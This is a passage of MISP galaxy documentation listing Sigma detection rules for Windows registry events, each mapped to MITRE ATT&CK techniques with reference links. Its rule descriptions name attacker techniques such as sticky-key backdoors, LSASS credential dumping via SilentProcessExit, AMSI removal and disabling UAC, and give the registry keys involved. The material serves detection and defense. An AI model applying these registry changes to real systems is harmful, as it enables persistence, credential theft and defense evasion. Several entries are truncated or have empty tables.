- related-to: *misp-galaxy: mitre-attack-pattern* = "Modify Registry - T1112" with estimative-language:likelihood-probability = "almost-certain"

Table 8656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks">https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml</a></td>
</tr>
</tbody>
</table>

Sticky Key Like Backdoor Usage - Registry

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

The tag is: *misp-galaxy: sigma-rules* = "Sticky Key Like Backdoor Usage - Registry"

View relationships graph

Sticky Key Like Backdoor Usage - Registry has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = "Accessibility Features - T1546.008" with estimative-language:likelihood-probability = "almost-certain"

Table 8657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/">https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/jonathanrull/2016/10/03/detecting-sticky-key-backdoors/">https://blogs.technet.microsoft.com/jonathanrull/2016/10/03/detecting-sticky-key-backdoors/</a></td>
</tr>
</tbody>
</table>
New DLL Added to AppInit_DLLs Registry Key

DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll

The tag is: misp-galaxy:sigma-rules="New DLL Added to AppInit_DLLs Registry Key"

View relationships graph

New DLL Added to AppInit_DLLs Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"

Narrator’s Feedback-Hub Persistence

Detects abusing Windows 10 Narrator’s Feedback-Hub

The tag is: misp-galaxy:sigma-rules="Narrator’s Feedback-Hub Persistence"

View relationships graph

Narrator’s Feedback-Hub Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

OilRig APT Registry Persistence

Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
The tag is: `misp-galaxy:sigma-rules="OilRig APT Registry Persistence"`

View relationships graph

OilRig APT Registry Persistence has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"

Table 8660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oilrig_mar18.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oilrig_mar18.yml</a></td>
</tr>
</tbody>
</table>

**Registry Entries For Azorult Malware**

Detects the presence of a registry key created during Azorult execution

The tag is: `misp-galaxy:sigma-rules="Registry Entries For Azorult Malware"`

View relationships graph

Registry Entries For Azorult Malware has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Table 8661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml</a></td>
</tr>
</tbody>
</table>

**CMSTP Execution Registry Event**

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: `misp-galaxy:sigma-rules="CMSTP Execution Registry Event"`
CMSTP Execution Registry Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 8662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml</a></td>
</tr>
</tbody>
</table>

Atbroker Registry Change

Detects creation/modification of Assistive Technology applications and persistence with usage of ‘at’

The tag is: misp-galaxy:sigma-rules="Atbroker Registry Change"

Atbroker Registry Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 8663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Atbroker/">https://lolbas-project.github.io/lolbas/Binaries/Atbroker/</a></td>
</tr>
<tr>
<td><a href="http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/">http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml</a></td>
</tr>
</tbody>
</table>

Wdigest CredGuard Registry Modification

Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.

The tag is: misp-galaxy:sigma-rules="Wdigest CredGuard Registry Modification"

View relationships graph
Wdigest CredGuard Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml</a></td>
</tr>
</tbody>
</table>

**WINEKEY Registry Modification**

Detects potential malicious modification of run keys by winekey or team9 backdoor

The tag is: *misp-galaxy:sigma-rules="WINEKEY Registry Modification"

View relationships graph

WINEKEY Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 8665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml</a></td>
</tr>
</tbody>
</table>

**HybridConnectionManager Service Installation - Registry**

Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.

The tag is: *misp-galaxy:sigma-rules="HybridConnectionManager Service Installation - Registry"

View relationships graph

HybridConnectionManager Service Installation - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"
Esentutl Volume Shadow Copy Service Keys

Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\System\CurrentControlSet\Services\VSS\Diag\VolSnap\Volume are captured.

The tag is: misp-galaxy:sigma-rules="Esentutl Volume Shadow Copy Service Keys"

View relationships graph

Esentutl Volume Shadow Copy Service Keys has relationships with:


Table 8667. Table References

Shell Open Registry Keys Manipulation

Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)

The tag is: misp-galaxy:sigma-rules="Shell Open Registry Keys Manipulation"

View relationships graph

Shell Open Registry Keys Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 8668. Table References
FlowCloud Malware

Detects FlowCloud malware from threat group TA410.

The tag is: `misp-galaxy:sigma-rules="FlowCloud Malware"`

View relationships graph

FlowCloud Malware has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Potential Credential Dumping Via LSASS SilentProcessExit Technique

Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process

The tag is: `misp-galaxy:sigma-rules="Potential Credential Dumping Via LSASS SilentProcessExit Technique"`

View relationships graph

Potential Credential Dumping Via LSASS SilentProcessExit Technique has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
Links


https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml

Pandemic Registry Key

Detects Pandemic Windows Implant

The tag is: misp-galaxy:sigma-rules="Pandemic Registry Key"

View relationships graph

Pandemic Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 8671. Table References

Links

https://wikileaks.org/vault7/#Pandemic

https://twitter.com/MalwareJake/status/870349480356454401

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml

Terminal Server Client Connection History Cleared - Registry

Detects the deletion of registry keys containing the MSTSC connection history

The tag is: misp-galaxy:sigma-rules="Terminal Server Client Connection History Cleared - Registry"

View relationships graph

Terminal Server Client Connection History Cleared - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8672. Table References
Removal Of SD Value to Hide Schedule Task - Registry

Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware

The tag is: `misp-galaxy:sigma-rules="Removal Of SD Value to Hide Schedule Task - Registry"`

View relationships graph

Removal Of SD Value to Hide Schedule Task - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"

Table 8673. Table References

Removal Of AMSI Provider Registry Keys

Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.

The tag is: `misp-galaxy:sigma-rules="Removal Of AMSI Provider Registry Keys"`

View relationships graph

Removal Of AMSI Provider Registry Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8674. Table References
Folder Removed From Exploit Guard ProtectedFolders List - Registry

Detects the removal of folders from the "ProtectedFolders" list of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder.

The tag is: `misp-galaxy:sigma-rules="Folder Removed From Exploit Guard ProtectedFolders List - Registry"`

View relationships graph

Folder Removed From Exploit Guard ProtectedFolders List - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8675. Table References

Removal Of Index Value to Hide Schedule Task - Registry

Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"

The tag is: `misp-galaxy:sigma-rules="Removal Of Index Value to Hide Schedule Task - Registry"`

View relationships graph

Removal Of Index Value to Hide Schedule Task - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"
Removal of Potential COM Hijacking Registry Keys

Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.

The tag is: `misp-galaxy:sigma-rules="Removal of Potential COM Hijacking Registry Keys"`

View relationships graph

Removal of Potential COM Hijacking Registry Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Potential Ursnif Malware Activity - Registry

Detects registry keys related to Ursnif malware.

The tag is: `misp-galaxy:sigma-rules="Potential Ursnif Malware Activity - Registry"`

View relationships graph

Potential Ursnif Malware Activity - Registry has relationships with:
**Potential COM Object Hijacking Via TreatAs Subkey - Registry**

Detects COM object hijacking via TreatAs subkey

The tag is: `misp-galaxy:sigma-rules="Potential COM Object Hijacking Via TreatAs Subkey - Registry"`

View relationships graph

Potential COM Object Hijacking Via TreatAs Subkey - Registry has relationships with:


**Potential Persistence Via Disk Cleanup Handler - Registry**

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager’s UI. Although Windows comes with a number of disk cleanup handlers, they aren’t designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.
**PUA - Sysinternal Tool Execution - Registry**

Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key

The tag is: *misp-galaxy:sigma-rules="PUA - Sysinternal Tool Execution - Registry"*

View relationships graph

PUA - Sysinternal Tool Execution - Registry has relationships with:


---

**Potential NetWire RAT Activity - Registry**

Detects registry keys related to NetWire RAT

The tag is: *misp-galaxy:sigma-rules="Potential NetWire RAT Activity - Registry"*

View relationships graph

Potential NetWire RAT Activity - Registry has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

---

**Table 8680. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/diskcleanuphandler.html">https://persistence-info.github.io/Data/diskcleanuphandler.html</a></td>
</tr>
</tbody>
</table>

**Table 8681. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Moti_B/status/1008587936735035392">https://twitter.com/Moti_B/status/1008587936735035392</a></td>
</tr>
</tbody>
</table>

**Table 8682. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/">https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/</a></td>
</tr>
</tbody>
</table>
Suspicious Execution Of Renamed Sysinternals Tools - Registry

Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)

The tag is: misp-galaxy:sigma-rules="Suspicious Execution Of Renamed Sysinternals Tools - Registry"

View relationships graph

Suspicious Execution Of Renamed Sysinternals Tools - Registry has relationships with:


Potential Persistence Via New AMSI Providers - Registry

Detects when an attacker registers a new AMSI provider in order to achieve persistence

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via New AMSI Providers - Registry"
Potential Persistence Via Logon Scripts - Registry

Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Logon Scripts - Registry"`

View relationships graph

Potential Persistence Via Logon Scripts - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcf3742bfecf365fee2a9/atomics/T1037.001/T1037.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcf3742bfecf365fee2a9/atomics/T1037.001/T1037.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_logon_scripts_userinitmprlogonscript.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_logon_scripts_userinitmprlogonscript.yml</a></td>
</tr>
</tbody>
</table>

PUA - Sysinternals Tools Execution - Registry

Detects the execution of some potentially unwanted tools such as PsExec, ProcDump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key.

The tag is: `misp-galaxy:sigma-rules="PUA - Sysinternals Tools Execution - Registry"`

View relationships graph

PUA - Sysinternals Tools Execution - Registry has relationships with:


Table 8686. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Moti_B/status/1008587936735035392">https://twitter.com/Moti_B/status/1008587936735035392</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_susp_execution_via_eula.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_susp_execution_via_eula.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Netsh Helper DLL - Registry

Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Netsh Helper DLL - Registry"`
Potential Persistence Via Netsh Helper DLL - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

New DNS ServerLevelPluginDll Installed

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

The tag is: misp-galaxy:sigma-rules="New DNS ServerLevelPluginDll Installed"

Execution DLL of Choice Using WAB.EXE

This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.

The tag is: misp-galaxy:sigma-rules="Execution DLL of Choice Using WAB.EXE"
Execution DLL of Choice Using WAB.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

**Table 8689. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml">https://github/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Hexacorn/status/991447379864932352">https://twitter.com/Hexacorn/status/991447379864932352</a></td>
</tr>
<tr>
<td><a href="http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/">http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml</a></td>
</tr>
</tbody>
</table>

**Tamper With Sophos AV Registry Keys**

Detects tamper attempts to sophos av functionality via registry key modification

The tag is: *misp-galaxy: sigma-rules= "Tamper With Sophos AV Registry Keys"*

**View relationships graph**

Tamper With Sophos AV Registry Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Table 8690. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/">https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamper.yml</a></td>
</tr>
</tbody>
</table>

**Potential Persistence Via App Paths Default Property**

Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application’s executable file name to that file’s fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis.

The tag is: *misp-galaxy: sigma-rules= "Potential Persistence Via App Paths Default Property"*

**View relationships graph**
Potential Persistence Via App Paths

Default Property has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

Table 8691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/">https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml</a></td>
</tr>
</tbody>
</table>

Activate Suppression of Windows Security Center Notifications

Detect set Notification_Suppress to 1 to disable the Windows security center notification

The tag is: misp-galaxy:sigma-rules="Activate Suppression of Windows Security Center Notifications"

View relationships graph

Activate Suppression of Windows Security Center Notifications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via CHM Helper DLL

Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via CHM Helper DLL"

Table 8693. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/htmlhelpauthor.html">https://persistence-info.github.io/Data/htmlhelpauthor.html</a></td>
</tr>
<tr>
<td><a href="https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/">https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/</a></td>
</tr>
</tbody>
</table>
New ODBC Driver Registered

Detects the registration of a new ODBC driver.

The tag is: `misp-galaxy:sigma-rules="New ODBC Driver Registered"`

Potential Persistence Using DebugPath

Detects potential persistence using Appx DebugPath

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Using DebugPath"`

Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

The tag is: `misp-galaxy:sigma-rules="Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG"`
Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 8696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1674399582162153472">https://twitter.com/0gtweet/status/1674399582162153472</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/">https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml</a></td>
</tr>
</tbody>
</table>

CrashControl CrashDump Disabled

Detects disabling the CrashDump per registry (as used by HermeticWiper)

The tag is: misp-galaxy:sigma-rules="CrashControl CrashDump Disabled"

View relationships graph

CrashControl CrashDump Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/">https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml</a></td>
</tr>
</tbody>
</table>

Outlook EnableUnsafeClientMailRules Setting Enabled - Registry

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

The tag is: misp-galaxy:sigma-rules="Outlook EnableUnsafeClientMailRules Setting Enabled - Registry"

View relationships graph

Outlook EnableUnsafeClientMailRules Setting Enabled - Registry has relationships with:
Disable UAC Using Registry

Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

The tag is: `misp-galaxy:sigma-rules="Disable UAC Using Registry"`

View relationships graph

Disable UAC Using Registry has relationships with:


Registry Explorer Policy Modification

Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)

The tag is: `misp-galaxy:sigma-rules="Registry Explorer Policy Modification"`

View relationships graph

Registry Explorer Policy Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
Potential PendingFileRenameOperations Tamper

Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename after reboot.

The tag is: misp-galaxy:sigma-rules="Potential PendingFileRenameOperations Tamper"

View relationships graph

Potential PendingFileRenameOperations Tamper has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Potential Attachment Manager Settings Associations Tamper

Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)

The tag is: misp-galaxy:sigma-rules="Potential Attachment Manager Settings Associations Tamper"
CurrentVersion NT Autorun Keys Modification

Detections modification of autostart extensibility point (ASEP) in registry.

The tag is: `misp-galaxy:sigma-rules="CurrentVersion NT Autorun Keys Modification"`

View relationships graph

CurrentVersion NT Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

RDP Sensitive Settings Changed to Zero

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the ‘fAllowUnsolicited’ or enabling RDP via ‘fDenyTSConnections’, etc.

The tag is: `misp-galaxy:sigma-rules="RDP Sensitive Settings Changed to Zero"`

View relationships graph

RDP Sensitive Settings Changed to Zero has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
Scripted Diagnostics Turn Off Check Enabled - Registry

Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability

The tag is: *misp-galaxy:sigma-rules=*“Scripted Diagnostics Turn Off Check Enabled - Registry”*

View relationships graph

Scripted Diagnostics Turn Off Check Enabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8705. Table References

Potential Signing Bypass Via Windows Developer Features - Registry

Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloadling". Which allows the user to install untrusted packages.

The tag is: *misp-galaxy:sigma-rules=*“Potential Signing Bypass Via Windows Developer Features - Registry”*

Table 8706. Table References
Session Manager Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

